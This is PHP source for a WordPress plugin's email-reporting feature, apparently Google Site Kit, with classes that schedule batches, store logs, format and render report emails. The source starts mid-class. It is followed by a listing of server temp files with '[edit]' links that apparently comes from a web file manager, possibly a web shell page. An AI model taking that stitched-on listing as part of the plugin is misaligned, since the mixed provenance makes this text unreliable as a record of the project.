$scheduler, Email_Log_Processor $log_processor ) { $this->max_execution_limiter = $max_execution_limiter; $this->batch_query = $batch_query; $this->scheduler = $scheduler; $this->log_processor = $log_processor; } /** * Handles worker cron executions for email reporting. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @param string $frequency Frequency slug. * @param int $initiator_timestamp Initiator timestamp. */ public function handle_callback_action( $batch_id, $frequency, $initiator_timestamp ) { $lock_handle = $this->acquire_lock( $frequency ); if ( ! $lock_handle ) { return; } try { if ( $this->should_abort( $initiator_timestamp ) ) { return; } if ( $this->batch_query->is_complete( $batch_id ) ) { return; } $pending_ids = $this->batch_query->get_pending_ids( $batch_id ); if ( empty( $pending_ids ) ) { return; } $this->schedule_follow_up( $batch_id, $frequency, $initiator_timestamp ); if ( $this->should_abort( $initiator_timestamp ) ) { return; } $this->process_pending_logs( $pending_ids, $frequency, $initiator_timestamp ); } finally { delete_transient( $lock_handle ); } } /** * Processes a list of pending email log IDs. * * @since 1.170.0 * * @param array $pending_ids Pending post IDs. * @param string $frequency Frequency slug. * @param int $initiator_timestamp Initiator timestamp. */ private function process_pending_logs( array $pending_ids, $frequency, $initiator_timestamp ) { foreach ( $pending_ids as $post_id ) { if ( $this->should_abort( $initiator_timestamp ) ) { return; } $this->log_processor->process( $post_id, $frequency ); } $this->should_abort( $initiator_timestamp ); } /** * Attempts to acquire a frequency-scoped worker lock. * * @since 1.167.0 * * @param string $frequency Frequency slug. * @return string|false Transient name on success, false if lock already held. */ private function acquire_lock( $frequency ) { $transient_name = sprintf( 'googlesitekit_email_reporting_worker_lock_%s', $frequency ); if ( get_transient( $transient_name ) ) { return false; } set_transient( $transient_name, time(), MINUTE_IN_SECONDS ); return $transient_name; } /** * Determines if the current worker run should abort. * * @since 1.167.0 * * @param int $initiator_timestamp Initiator timestamp. * @return bool True if processing should stop immediately. */ private function should_abort( $initiator_timestamp ) { return $this->max_execution_limiter->should_abort( $initiator_timestamp ); } /** * Schedules the follow-up worker event. * * @since 1.167.0 * * @param string $batch_id Batch identifier. * @param string $frequency Frequency slug. * @param int $initiator_timestamp Initiator timestamp. */ private function schedule_follow_up( $batch_id, $frequency, $initiator_timestamp ) { $target_time = time() + ( 11 * MINUTE_IN_SECONDS ); $delay = max( 0, $target_time - (int) $initiator_timestamp ); $this->scheduler->schedule_worker( $batch_id, $frequency, $initiator_timestamp, $delay ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Initiator_Task * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use DateInterval; use DateTimeImmutable; use Google\Site_Kit\Core\User\Email_Reporting_Settings; /** * Handles initiator cron callbacks for email reporting. * * @since 1.167.0 * @access private * @ignore */ class Initiator_Task { /** * Scheduler instance. * * @var Email_Reporting_Scheduler */ private $scheduler; /** * Query helper for subscribed users. * * @var Subscribed_Users_Query */ private $subscribed_users_query; /** * Constructor. * * @since 1.167.0 * * @param Email_Reporting_Scheduler $scheduler Scheduler instance. * @param Subscribed_Users_Query $subscribed_users_query Subscribed users query helper. */ public function __construct( Email_Reporting_Scheduler $scheduler, Subscribed_Users_Query $subscribed_users_query ) { $this->scheduler = $scheduler; $this->subscribed_users_query = $subscribed_users_query; } /** * Handles the initiator cron callback. * * @since 1.167.0 * * @param string $frequency Frequency slug. */ public function handle_callback_action( $frequency ) { $timestamp = time(); $this->scheduler->schedule_next_initiator( $frequency, $timestamp ); $batch_id = wp_generate_uuid4(); $user_ids = $this->subscribed_users_query->for_frequency( $frequency ); $reference_dates = $this->build_reference_dates( $frequency, $timestamp ); foreach ( $user_ids as $user_id ) { wp_insert_post( array( 'post_type' => Email_Log::POST_TYPE, 'post_author' => $user_id, 'post_status' => Email_Log::STATUS_SCHEDULED, 'post_title' => $batch_id, 'meta_input' => array( Email_Log::META_BATCH_ID => $batch_id, Email_Log::META_REPORT_FREQUENCY => $frequency, Email_Log::META_REPORT_REFERENCE_DATES => $reference_dates, Email_Log::META_SEND_ATTEMPTS => 0, ), ) ); } $this->scheduler->schedule_worker( $batch_id, $frequency, $timestamp ); $this->scheduler->schedule_fallback( $batch_id, $frequency, $timestamp ); } /** * Builds the report reference dates for a batch. * * @param string $frequency Frequency slug. * @param int $timestamp Base timestamp. * @return array Reference date payload. */ private function build_reference_dates( $frequency, $timestamp ) { $time_zone = wp_timezone(); $send_date = ( new DateTimeImmutable( '@' . $timestamp ) ) ->setTimezone( $time_zone ) ->setTime( 0, 0, 0 ); $period_lengths = array( Email_Reporting_Settings::FREQUENCY_WEEKLY => 7, Email_Reporting_Settings::FREQUENCY_MONTHLY => 30, Email_Reporting_Settings::FREQUENCY_QUARTERLY => 90, ); $period_days = isset( $period_lengths[ $frequency ] ) ? $period_lengths[ $frequency ] : $period_lengths[ Email_Reporting_Settings::FREQUENCY_WEEKLY ]; $start_date = $send_date->sub( new DateInterval( sprintf( 'P%dD', $period_days ) ) ); $compare_end_date = $start_date->sub( new DateInterval( 'P1D' ) ); $compare_start_date = $compare_end_date->sub( new DateInterval( sprintf( 'P%dD', max( $period_days - 1, 0 ) ) ) ); return array( 'startDate' => $start_date->format( 'Y-m-d' ), 'sendDate' => $send_date->format( 'Y-m-d' ), 'compareStartDate' => $compare_start_date->format( 'Y-m-d' ), 'compareEndDate' => $compare_end_date->format( 'Y-m-d' ), ); } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Log * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\User\Email_Reporting_Settings as Reporting_Settings; use Google\Site_Kit\Core\Util\Method_Proxy_Trait; /** * Registers the internal Email Reporting log storage. * * @since 1.166.0 * @access private * @ignore */ final class Email_Log { use Method_Proxy_Trait; /** * Post type slug. * * @since 1.166.0 */ const POST_TYPE = 'gsk_email_log'; /** * Report frequency meta key. * * @since 1.166.0 */ const META_REPORT_FREQUENCY = '_report_frequency'; /** * Batch ID meta key. * * @since 1.166.0 */ const META_BATCH_ID = '_batch_id'; /** * Maximum length for stored log strings (MySQL utf8mb4 index safety). * * @since 1.166.0 */ const META_STRING_MAX_LENGTH = 191; /** * Send attempts meta key. * * @since 1.166.0 */ const META_SEND_ATTEMPTS = '_send_attempts'; /** * Error details meta key. * * @since 1.166.0 */ const META_ERROR_DETAILS = '_error_details'; /** * Report reference dates meta key. * * @since 1.166.0 */ const META_REPORT_REFERENCE_DATES = '_report_reference_dates'; /** * Email log post statuses. * * Slugs must stay within the posts table varchar(20) limit. * * @since 1.166.0 */ const STATUS_SENT = 'gsk_email_sent'; const STATUS_FAILED = 'gsk_email_failed'; const STATUS_SCHEDULED = 'gsk_email_scheduled'; /** * Extracts a normalized date range array from an email log post. * * @since 1.167.0 * * @param mixed $email_log Potential email log post. * @return array|null */ public static function get_date_range_from_log( $email_log ) { $decoded = self::validate_and_decode_email_log( $email_log ); if ( null === $decoded ) { return null; } $normalized = array(); $keys = array( 'startDate' => 'startDate', 'sendDate' => 'endDate', 'compareStartDate' => 'compareStartDate', 'compareEndDate' => 'compareEndDate', ); foreach ( $keys as $key => $alias ) { if ( ! isset( $decoded[ $key ] ) ) { continue; } $formatted = self::format_reference_date( $decoded[ $key ] ); if ( null !== $formatted ) { $normalized[ $alias ] = $formatted; } } if ( empty( $normalized['startDate'] ) || empty( $normalized['endDate'] ) ) { return null; } return $normalized; } /** * Validates an email log and returns decoded reference date metadata. * * @since 1.167.0 * * @param mixed $email_log Potential email log post. * @return array|null Decoded reference date metadata, or null on failure. */ protected static function validate_and_decode_email_log( $email_log ) { if ( ! ( $email_log instanceof \WP_Post ) ) { return null; } if ( self::POST_TYPE !== $email_log->post_type ) { return null; } $raw = get_post_meta( $email_log->ID, self::META_REPORT_REFERENCE_DATES, true ); if ( empty( $raw ) ) { return null; } if ( is_string( $raw ) ) { $decoded = json_decode( $raw, true ); if ( JSON_ERROR_NONE !== json_last_error() ) { return null; } } elseif ( is_array( $raw ) ) { $decoded = $raw; } else { return null; } return $decoded; } /** * Validates and normalizes a reference date value into a UNIX timestamp. * * @since 1.167.0 * * @param mixed $value Date value. * @return int|null UNIX timestamp or null on failure. */ protected static function validate_reference_date( $value ) { if ( '' === $value || null === $value ) { return null; } $timestamp = is_numeric( $value ) ? (int) $value : strtotime( $value ); if ( empty( $timestamp ) || $timestamp < 0 ) { return null; } return $timestamp; } /** * Formats a timestamp or date string stored in reference date meta. * * @since 1.167.0 * * @param mixed $value Date value. * @return string|null */ protected static function format_reference_date( $value ) { $timestamp = self::validate_reference_date( $value ); if ( null === $timestamp ) { return null; } if ( function_exists( 'wp_timezone' ) && function_exists( 'wp_date' ) ) { $timezone = wp_timezone(); if ( $timezone ) { return wp_date( 'Y-m-d', $timestamp, $timezone ); } } return gmdate( 'Y-m-d', $timestamp ); } /** * Registers functionality through WordPress hooks. * * @since 1.166.0 */ public function register() { add_action( 'init', $this->get_method_proxy_once( 'register_email_log' ) ); } /** * Registers the email log post type, statuses, and meta. * * @since 1.166.0 */ protected function register_email_log() { $this->register_post_type(); $this->register_post_statuses(); $this->register_post_meta(); } /** * Registers the internal email log post type. * * @since 1.166.0 */ protected function register_post_type() { if ( post_type_exists( self::POST_TYPE ) ) { return; } register_post_type( self::POST_TYPE, array( 'public' => false, 'map_meta_cap' => true, 'rewrite' => false, 'query_var' => false, ) ); } /** * Registers internal delivery statuses. * * @since 1.166.0 */ protected function register_post_statuses() { $statuses = array( self::STATUS_SENT, self::STATUS_FAILED, self::STATUS_SCHEDULED, ); foreach ( $statuses as $key => $status ) { register_post_status( $status, array( 'public' => false, 'internal' => true, 'exclude_from_search' => true, 'show_in_admin_all_list' => false, 'show_in_admin_status_list' => false, ) ); } } /** * Registers meta data for the email log post type. * * @since 1.166.0 */ protected function register_post_meta() { $auth_callback = array( __CLASS__, 'meta_auth_callback' ); register_post_meta( self::POST_TYPE, self::META_REPORT_FREQUENCY, array( 'type' => 'string', 'single' => true, 'auth_callback' => $auth_callback, 'sanitize_callback' => array( __CLASS__, 'sanitize_frequency' ), ) ); register_post_meta( self::POST_TYPE, self::META_BATCH_ID, array( 'type' => 'string', 'single' => true, 'auth_callback' => $auth_callback, 'sanitize_callback' => array( __CLASS__, 'sanitize_batch_id' ), ) ); register_post_meta( self::POST_TYPE, self::META_SEND_ATTEMPTS, array( 'type' => 'integer', 'single' => true, 'auth_callback' => $auth_callback, 'sanitize_callback' => array( __CLASS__, 'sanitize_attempts' ), ) ); register_post_meta( self::POST_TYPE, self::META_ERROR_DETAILS, array( 'type' => 'string', 'single' => true, 'auth_callback' => $auth_callback, 'sanitize_callback' => array( __CLASS__, 'sanitize_error_details' ), ) ); register_post_meta( self::POST_TYPE, self::META_REPORT_REFERENCE_DATES, array( 'type' => 'string', 'single' => true, 'auth_callback' => $auth_callback, 'sanitize_callback' => array( __CLASS__, 'sanitize_reference_dates' ), ) ); } /** * Sanitizes the report frequency meta value. * * Allows only known scheduling frequencies, normalizing strings to lowercase. * * @since 1.166.0 * * @param mixed $value Meta value. * @return string Sanitized value. */ public static function sanitize_frequency( $value ) { $allowed = array( Reporting_Settings::FREQUENCY_WEEKLY, Reporting_Settings::FREQUENCY_MONTHLY, Reporting_Settings::FREQUENCY_QUARTERLY, ); $value = is_string( $value ) ? strtolower( $value ) : ''; return in_array( $value, $allowed, true ) ? $value : ''; } /** * Sanitizes the batch ID meta value. * * Strips unsafe characters and limits identifier string length so IDs * remain index-safe in MySQL databases. * * @since 1.166.0 * * @param mixed $value Meta value. * @return string Sanitized value. */ public static function sanitize_batch_id( $value ) { $value = sanitize_text_field( (string) $value ); return substr( $value, 0, self::META_STRING_MAX_LENGTH ); } /** * Sanitizes the send attempts meta value. * * @since 1.166.0 * * @param mixed $value Meta value. * @return int Sanitized value. */ public static function sanitize_attempts( $value ) { if ( (int) $value < 0 ) { return 0; } return absint( $value ); } /** * Sanitizes the error details meta value. * * Converts WP_Error instances and other payloads into JSON for storage. * * @since 1.166.0 * * @param mixed $value Meta value. * @return string Sanitized value. */ public static function sanitize_error_details( $value ) { if ( is_wp_error( $value ) ) { $value = array( 'errors' => $value->errors, 'error_data' => $value->error_data, ); } if ( is_array( $value ) || is_object( $value ) ) { $encoded = wp_json_encode( $value, JSON_UNESCAPED_UNICODE ); return is_string( $encoded ) ? $encoded : ''; } if ( is_string( $value ) ) { // Treat existing JSON strings as-is by checking decode status instead of rebuilding them. json_decode( $value, true ); if ( json_last_error() === JSON_ERROR_NONE ) { return $value; } $encoded = wp_json_encode( array( 'message' => $value, ), JSON_UNESCAPED_UNICODE ); return is_string( $encoded ) ? $encoded : ''; } return ''; } /** * Sanitizes the report reference dates meta value. * * Extracts known timestamps, coercing them to integers before encoding. * * @since 1.166.0 * * @param mixed $value Meta value. * @return string Sanitized value. */ public static function sanitize_reference_dates( $value ) { if ( ! is_array( $value ) && ! is_object( $value ) ) { return ''; } $normalized = self::normalize_reference_dates( (array) $value ); $encoded = wp_json_encode( $normalized, JSON_UNESCAPED_UNICODE ); return is_string( $encoded ) ? $encoded : ''; } /** * Normalizes reference date values into timestamps for storage. * * @since 1.170.0 * * @param array $raw_dates Raw reference date values keyed by meta field. * @return array Normalized timestamps keyed by meta field. */ protected static function normalize_reference_dates( array $raw_dates ) { $keys = array( 'startDate', 'sendDate', 'compareStartDate', 'compareEndDate' ); $normalized = array(); foreach ( $keys as $key ) { if ( ! isset( $raw_dates[ $key ] ) ) { if ( 'compareStartDate' === $key || 'compareEndDate' === $key ) { $normalized[ $key ] = 0; } continue; } $timestamp = self::normalize_reference_date_value( $raw_dates[ $key ] ); if ( null === $timestamp ) { if ( 'compareStartDate' === $key || 'compareEndDate' === $key ) { $normalized[ $key ] = 0; } continue; } // Store as integer timestamp. $normalized[ $key ] = (int) $timestamp; } return $normalized; } /** * Normalizes a single reference date value into a timestamp. * * @since 1.170.0 * * @param mixed $raw_value Date value. * @return int|null Normalized timestamp or null when invalid. */ protected static function normalize_reference_date_value( $raw_value ) { if ( is_string( $raw_value ) ) { $raw_value = trim( $raw_value ); } if ( '' === $raw_value ) { return null; } if ( is_numeric( $raw_value ) ) { $timestamp = $raw_value; } else { $timestamp = strtotime( $raw_value ); } if ( false === $timestamp || $timestamp <= 0 ) { return null; } return $timestamp; } /** * Authorization callback for protected log meta. * * Ensures only internal workflows (cron/init) or administrators touch the * private log metadata so the CPT stays non-public. * * @since 1.166.0 * * @return bool */ public static function meta_auth_callback() { if ( current_user_can( 'manage_options' ) ) { return true; } if ( wp_doing_cron() ) { return true; } if ( doing_action( 'init' ) ) { return true; } return false; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Template_Formatter * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Context; use Google\Site_Kit\Core\User\Email_Reporting_Settings; use WP_Error; use WP_Post; use WP_User; /** * Formats email report data for template rendering. * * @since 1.170.0 * @access private * @ignore */ class Email_Template_Formatter { /** * Plugin context instance. * * @since 1.170.0 * * @var Context */ private $context; /** * Email report section builder. * * @since 1.170.0 * * @var Email_Report_Section_Builder */ private $section_builder; /** * Constructor. * * @since 1.170.0 * * @param Context $context Plugin context. * @param Email_Report_Section_Builder $section_builder Section builder instance. */ public function __construct( Context $context, Email_Report_Section_Builder $section_builder ) { $this->context = $context; $this->section_builder = $section_builder; } /** * Builds sections from raw payload grouped by module. * * @since 1.170.0 * * @param array $raw_payload Raw payload. * @param WP_Post $email_log Email log post. * @param WP_User $user User receiving the report. * @return array|WP_Error Sections array or WP_Error. */ public function build_sections( $raw_payload, WP_Post $email_log, WP_User $user ) { $sections = array(); $user_locale = get_user_locale( $user ); if ( ! is_array( $raw_payload ) ) { return $sections; } foreach ( $raw_payload as $module_slug => $module_payload ) { if ( is_object( $module_payload ) ) { $module_payload = (array) $module_payload; } try { $module_sections = $this->section_builder->build_sections( $module_slug, array( $module_payload ), $user_locale, $email_log ); } catch ( \Exception $exception ) { return new WP_Error( 'email_report_section_build_failed', $exception->getMessage() ); } if ( is_wp_error( $module_sections ) ) { return $module_sections; } if ( ! empty( $module_sections ) ) { $sections = array_merge( $sections, $module_sections ); } } return $sections; } /** * Builds template payload for rendering. * * @since 1.170.0 * * @param array $sections Sections. * @param string $frequency Frequency slug. * @param array $date_range Date range. * @return array|WP_Error Template payload or WP_Error. */ public function build_template_payload( $sections, $frequency, $date_range ) { $sections_payload = $this->prepare_sections_payload( $sections, $date_range ); if ( empty( $sections_payload ) ) { return new WP_Error( 'email_report_no_data', __( 'No email report data available.', 'google-site-kit' ) ); } return array( 'sections_payload' => $sections_payload, 'template_data' => $this->prepare_template_data( $frequency, $date_range ), ); } /** * Prepares section payload for the template renderer. * * @since 1.170.0 * * @param array $sections Section instances. * @param array $date_range Date range used for the report. * @return array Section payload for the template. */ private function prepare_sections_payload( $sections, $date_range ) { $payload = array(); $change_context = $this->get_change_context_label( $date_range ); foreach ( $sections as $section ) { if ( ! $section instanceof Email_Report_Data_Section_Part ) { continue; } $values = $section->get_values(); $labels = $section->get_labels(); $trends = $section->get_trends(); $event_names = $section->get_event_names(); $dimensions = $section->get_dimensions(); $dimension_values = $section->get_dimension_values(); $change = isset( $trends[0] ) ? $this->parse_change_value( $trends[0] ) : null; $changes = is_array( $trends ) ? array_map( array( $this, 'parse_change_value' ), $trends ) : array(); $first_dimension_value = ''; if ( isset( $dimension_values[0] ) ) { $first_dimension_value = is_array( $dimension_values[0] ) ? ( $dimension_values[0]['label'] ?? '' ) : $dimension_values[0]; } $payload[ $section->get_section_key() ] = array( 'value' => isset( $values[0] ) ? $values[0] : '', 'values' => $values, 'label' => isset( $labels[0] ) ? $labels[0] : $section->get_title(), 'event_name' => isset( $event_names[0] ) ? $event_names[0] : '', 'dimension' => isset( $dimensions[0] ) ? $dimensions[0] : '', 'dimension_value' => $first_dimension_value, 'dimension_values' => $dimension_values ?? array(), 'change' => $change, 'changes' => $changes, 'change_context' => $change_context, ); } return $payload; } /** * Parses a change value into float. * * @since 1.170.0 * * @param mixed $change Change value. * @return float|null Parsed change. */ private function parse_change_value( $change ) { if ( null === $change || '' === $change ) { return null; } if ( is_string( $change ) ) { $change = str_replace( '%', '', $change ); } if ( ! is_numeric( $change ) ) { return null; } return floatval( $change ); } /** * Builds a change context label based on the date range. * * @since 1.170.0 * * @param array $date_range Date range. * @return string Change context label. */ private function get_change_context_label( array $date_range ) { // Prefer the compare period length since the change badge references the previous window. if ( ! empty( $date_range['compareStartDate'] ) && ! empty( $date_range['compareEndDate'] ) ) { $days = $this->calculate_period_length_from_range( array( 'startDate' => $date_range['compareStartDate'], 'endDate' => $date_range['compareEndDate'], ) ); } else { $days = $this->calculate_period_length_from_range( $date_range ); } if ( null === $days || $days <= 0 ) { return __( 'Compared to previous period', 'google-site-kit' ); } return sprintf( /* translators: %s: Number of days. */ __( 'Compared to previous %s days', 'google-site-kit' ), number_format_i18n( $days ) ); } /** * Calculates inclusive day length from a date range. * * @since 1.170.0 * * @param array $date_range Date range with startDate/endDate. * @return int|null Number of days or null on failure. */ private function calculate_period_length_from_range( $date_range ) { if ( empty( $date_range['startDate'] ) || empty( $date_range['endDate'] ) ) { return null; } try { $start = new \DateTime( $date_range['startDate'] ); $end = new \DateTime( $date_range['endDate'] ); } catch ( \Exception $e ) { return null; } $diff = $start->diff( $end ); if ( false === $diff ) { return null; } return $diff->days + 1; } /** * Builds template data for rendering. * * @since 1.170.0 * * @param string $frequency Frequency slug. * @param array $date_range Date range. * @return array Template data. */ private function prepare_template_data( $frequency, $date_range ) { return array( 'subject' => $this->build_subject( $frequency ), 'preheader' => __( 'See the latest highlights from Site Kit.', 'google-site-kit' ), 'site' => array( 'domain' => $this->get_site_domain(), ), 'date_range' => array( 'label' => $this->build_date_label( $date_range ), 'context' => $this->get_change_context_label( $date_range ), ), 'primary_call_to_action' => array( 'label' => __( 'View dashboard', 'google-site-kit' ), 'url' => admin_url( 'admin.php?page=googlesitekit-dashboard' ), ), 'footer' => array( 'copy' => __( 'You received this email because you signed up to receive email reports from Site Kit.', 'google-site-kit' ), 'unsubscribe_url' => admin_url( 'admin.php?page=googlesitekit-settings#/admin-settings' ), 'links' => array( array( 'label' => __( 'Help center', 'google-site-kit' ), 'url' => 'https://sitekit.withgoogle.com/support/', ), array( 'label' => __( 'Privacy Policy', 'google-site-kit' ), 'url' => 'https://policies.google.com/privacy', ), array( 'label' => __( 'Manage subscription', 'google-site-kit' ), 'url' => admin_url( 'admin.php?page=googlesitekit-dashboard&email-reporting-panel-opened=1' ), ), ), ), ); } /** * Builds a human readable date label. * * @since 1.170.0 * * @param array $date_range Date range. * @return string Date label. */ private function build_date_label( array $date_range ) { if ( empty( $date_range['startDate'] ) || empty( $date_range['endDate'] ) ) { return ''; } $format_date = static function ( $value ) { $timestamp = strtotime( $value ); if ( ! $timestamp ) { return $value; } $timezone = function_exists( 'wp_timezone' ) ? wp_timezone() : null; if ( $timezone && function_exists( 'wp_date' ) ) { return wp_date( 'M j', $timestamp, $timezone ); } return gmdate( 'M j', $timestamp ); }; return sprintf( '%s – %s', $format_date( $date_range['startDate'] ), $format_date( $date_range['endDate'] ) ); } /** * Builds an email subject for the report. * * @since 1.170.0 * * @param string $frequency Frequency slug. * @return string Email subject. */ private function build_subject( $frequency ) { $frequency_label = $this->get_frequency_label( $frequency ); $site_domain = $this->get_site_domain(); return sprintf( /* translators: 1: Report frequency, 2: Site domain. */ __( 'Your %1$s Site Kit report for %2$s', 'google-site-kit' ), $frequency_label, $site_domain ); } /** * Gets a friendly frequency label. * * @since 1.170.0 * * @param string $frequency Frequency slug. * @return string Frequency label. */ private function get_frequency_label( $frequency ) { switch ( $frequency ) { case Email_Reporting_Settings::FREQUENCY_MONTHLY: return __( 'monthly', 'google-site-kit' ); case Email_Reporting_Settings::FREQUENCY_QUARTERLY: return __( 'quarterly', 'google-site-kit' ); case Email_Reporting_Settings::FREQUENCY_WEEKLY: default: return __( 'weekly', 'google-site-kit' ); } } /** * Gets the site domain including subdirectory context. * * @since 1.170.0 * * @return string Site domain string. */ private function get_site_domain() { $site_url = $this->context->get_reference_site_url(); $parsed = wp_parse_url( $site_url ); if ( empty( $parsed['host'] ) ) { return $site_url; } $domain = $parsed['host']; if ( ! empty( $parsed['path'] ) && '/' !== $parsed['path'] ) { $domain .= untrailingslashit( $parsed['path'] ); } return $domain; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Email_Template_Renderer * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; /** * Class for rendering email templates. * * @since 1.168.0 */ class Email_Template_Renderer { /** * CDN base URL for email assets. * * TODO: Change to the production URL when the assets are uploaded to production bucket in #11551. * * @since 1.168.0 * @var string */ const EMAIL_ASSETS_BASE_URL = 'https://storage.googleapis.com/pue-email-assets-dev/'; /** * The sections map instance. * * @since 1.168.0 * @var Sections_Map */ protected $sections_map; /** * The base templates directory path. * * @since 1.168.0 * @var string */ protected $templates_dir; /** * Cache of verified template file paths. * * Used to avoid repeated file_exists() calls for the same files. * * @since 1.168.0 * @var array */ protected $cached_files = array(); /** * Constructor. * * @since 1.168.0 * * @param Sections_Map $sections_map The sections map instance. */ public function __construct( Sections_Map $sections_map ) { $this->sections_map = $sections_map; $this->templates_dir = realpath( __DIR__ . '/templates' ); } /** * Gets the full URL for an email asset. * * @since 1.168.0 * * @param string $asset_name The asset filename (e.g., 'icon-conversions.png'). * @return string The full URL to the asset. */ public function get_email_asset_url( $asset_name ) { return self::EMAIL_ASSETS_BASE_URL . ltrim( $asset_name, '/' ); } /** * Renders the email template with the given data. * * @since 1.168.0 * * @param string $template_name The template name. * @param array $data The data to render (metadata like subject, preheader, etc.). * @return string The rendered HTML. */ public function render( $template_name, $data ) { $main_template_file = $this->get_template_file( $template_name ); if ( ! $main_template_file || ! file_exists( $main_template_file ) ) { return ''; } $sections = $this->sections_map->get_sections(); $shared_parts_dir = $this->templates_dir . '/parts'; $template_parts_dir = $this->templates_dir . '/' . $template_name . '/parts'; $template_data = array_merge( $data, array( 'sections' => $sections, 'get_asset_url' => fn( $asset_path ) => $this->get_email_asset_url( $asset_path ), 'render_part' => fn( $part_name, $vars = array() ) => $this->render_part_file( $template_parts_dir . '/' . $part_name . '.php', $vars ), 'render_shared_part' => fn( $part_name, $vars = array() ) => $this->render_part_file( $shared_parts_dir . '/' . $part_name . '.php', $vars ), ) ); return $this->render_template( $main_template_file, $template_data ); } /** * Renders a template file with the given data. * * @since 1.168.0 * * @param string $template_file The template file path. * @param array $data The data to render (used within the template file). * @return string The rendered HTML. */ protected function render_template( $template_file, $data ) { // phpcs:ignore Generic.CodeAnalysis.UnusedFunctionParameter.FoundAfterLastUsed -- Data is used within the template parts so is no strictly unused. ob_start(); include $template_file; return ob_get_clean(); } /** * Renders a template part file with the given variables. * * Unlike render_template(), this method extracts variables into the * template scope for more convenient access within partial templates. * * File paths are validated to ensure they are within the plugin's * templates directory for security. Verified files are cached to * avoid repeated file_exists() calls. * * @since 1.168.0 * * @param string $file The template part file path. * @param array $vars The variables to extract into the template scope. */ protected function render_part_file( $file, $vars = array() ) { if ( isset( $this->cached_files[ $file ] ) ) { extract( $vars, EXTR_SKIP ); // phpcs:ignore WordPress.PHP.DontExtract.extract_extract include $this->cached_files[ $file ]; return; } $real_path = realpath( $file ); if ( false === $real_path ) { return; } // Ensure the file is within the templates directory for security. if ( 0 !== strpos( $real_path, $this->templates_dir . DIRECTORY_SEPARATOR ) ) { return; } $this->cached_files[ $file ] = $real_path; extract( $vars, EXTR_SKIP ); // phpcs:ignore WordPress.PHP.DontExtract.extract_extract include $real_path; } /** * Renders the email template as plain text. * * Generates a plain text version of the email by walking the same * structured section data as the HTML renderer, using the * Plain_Text_Formatter for formatting. * * @since 1.170.0 * * @param string $template_name The template name (unused for plain text, kept for API consistency with render()). * @param array $data The data to render (metadata like subject, preheader, etc.). * @return string The rendered plain text. */ public function render_text( $template_name, $data ) { $sections = $this->sections_map->get_sections(); $output = Plain_Text_Formatter::format_header( $data['site']['domain'] ?? '', $data['date_range']['label'] ?? '' ); foreach ( $sections as $section_key => $section ) { if ( empty( $section['section_parts'] ) ) { continue; } $output .= Plain_Text_Formatter::format_section( $section ); } $output .= Plain_Text_Formatter::format_footer( $data['primary_call_to_action'] ?? array(), $data['footer'] ?? array() ); return $output; } /** * Resolves the template file path. * * @since 1.168.0 * * @param string $template_name The template name. * @param string $part_name The part name. * @return string The template file path, or empty string if not found. */ protected function get_template_file( $template_name, $part_name = '' ) { $file = array( __DIR__, 'templates', $template_name ); if ( ! empty( $part_name ) ) { array_push( $file, 'parts', $part_name . '.php' ); } else { array_push( $file, 'template.php' ); } $file = join( DIRECTORY_SEPARATOR, $file ); if ( file_exists( $file ) ) { return $file; } return ''; } } <?php /** * Class Google\Site_Kit\Core\Email_Reporting\Was_Analytics_4_Connected * * @package Google\Site_Kit\Core\Email_Reporting * @copyright 2025 Google LLC * @license https://www.apache.org/licenses/LICENSE-2.0 Apache License 2.0 * @link https://sitekit.withgoogle.com */ namespace Google\Site_Kit\Core\Email_Reporting; use Google\Site_Kit\Core\Storage\Setting; /** * Was_Analytics_4_Connected class. * * Indicates whether Google Analytics 4 was ever connected to the site. * * @since 1.168.0 * @access private * @ignore */ class Was_Analytics_4_Connected extends Setting { /** * The option_name for this setting. */ const OPTION = 'googlesitekit_was_analytics-4_connected'; /** * Gets the expected value type. * * @since 1.168.0 * * @return string The type name. */ protected function get_type() { return 'boolean'; } /** * Gets the callback for sanitizing the setting's value before saving. * * @since 1.168.0 * * @return callable The sanitizing function. */ protected function get_sanitize_callback() { return 'boolval'; } /** * Gets the value of the setting. * * @since 1.168.0 * * @return bool Value set for the option, or registered default if not set. */ public function get() { return (bool) parent::get(); } }
[+]
..
[-] phpV2oKZr
[edit]
[-] phpQHDred
[edit]
[-] phpPQPVWV
[edit]
[-] phpHOfsSd
[edit]
[-] phpW0fSV7
[edit]
[-] pasted_code_zu6udj
[edit]
[-] ____shJBdB
[edit]
[-] phpBTRIjm
[edit]
[-] phpPWhQLS
[edit]
[-] phpsIom23
[edit]
[-] mysql.sock
[edit]
[-] phpdA9hqE
[edit]
[-] phpCYzscW
[edit]
[-] ____a2gPX2
[edit]
[-] phpTxoBBQ
[edit]
[-] phpOdFlS9
[edit]
[-] phpnXMFiV
[edit]
[-] phpQvkfd0
[edit]
[-] phpkycyTc
[edit]
[-] phpgf0hVo
[edit]
[-] phpSsrCMA
[edit]
[-] phpugiMzW
[edit]
[-] phpb0Omgy
[edit]
[-] php7sGUiP
[edit]
[-] phpDtVs82
[edit]
[-] phpQlYdzT
[edit]
[-] phpCq2mxh
[edit]
[-] php2lMGiS
[edit]
[-] phpZVPItS
[edit]
[-] phpecopM2
[edit]
[-] phpYmUwdV
[edit]
[-] phpnK3Olz
[edit]
[-] pasted_code_JOglcs
[edit]
[-] php9TiXtN
[edit]
[-] php9mXhHj
[edit]
[-] phpu0ZrHm
[edit]
[-] phpqUoYsQ
[edit]
[-] phpaOPFRX
[edit]
[-] ____bSvxHl
[edit]
[-] phpEq3yFB
[edit]
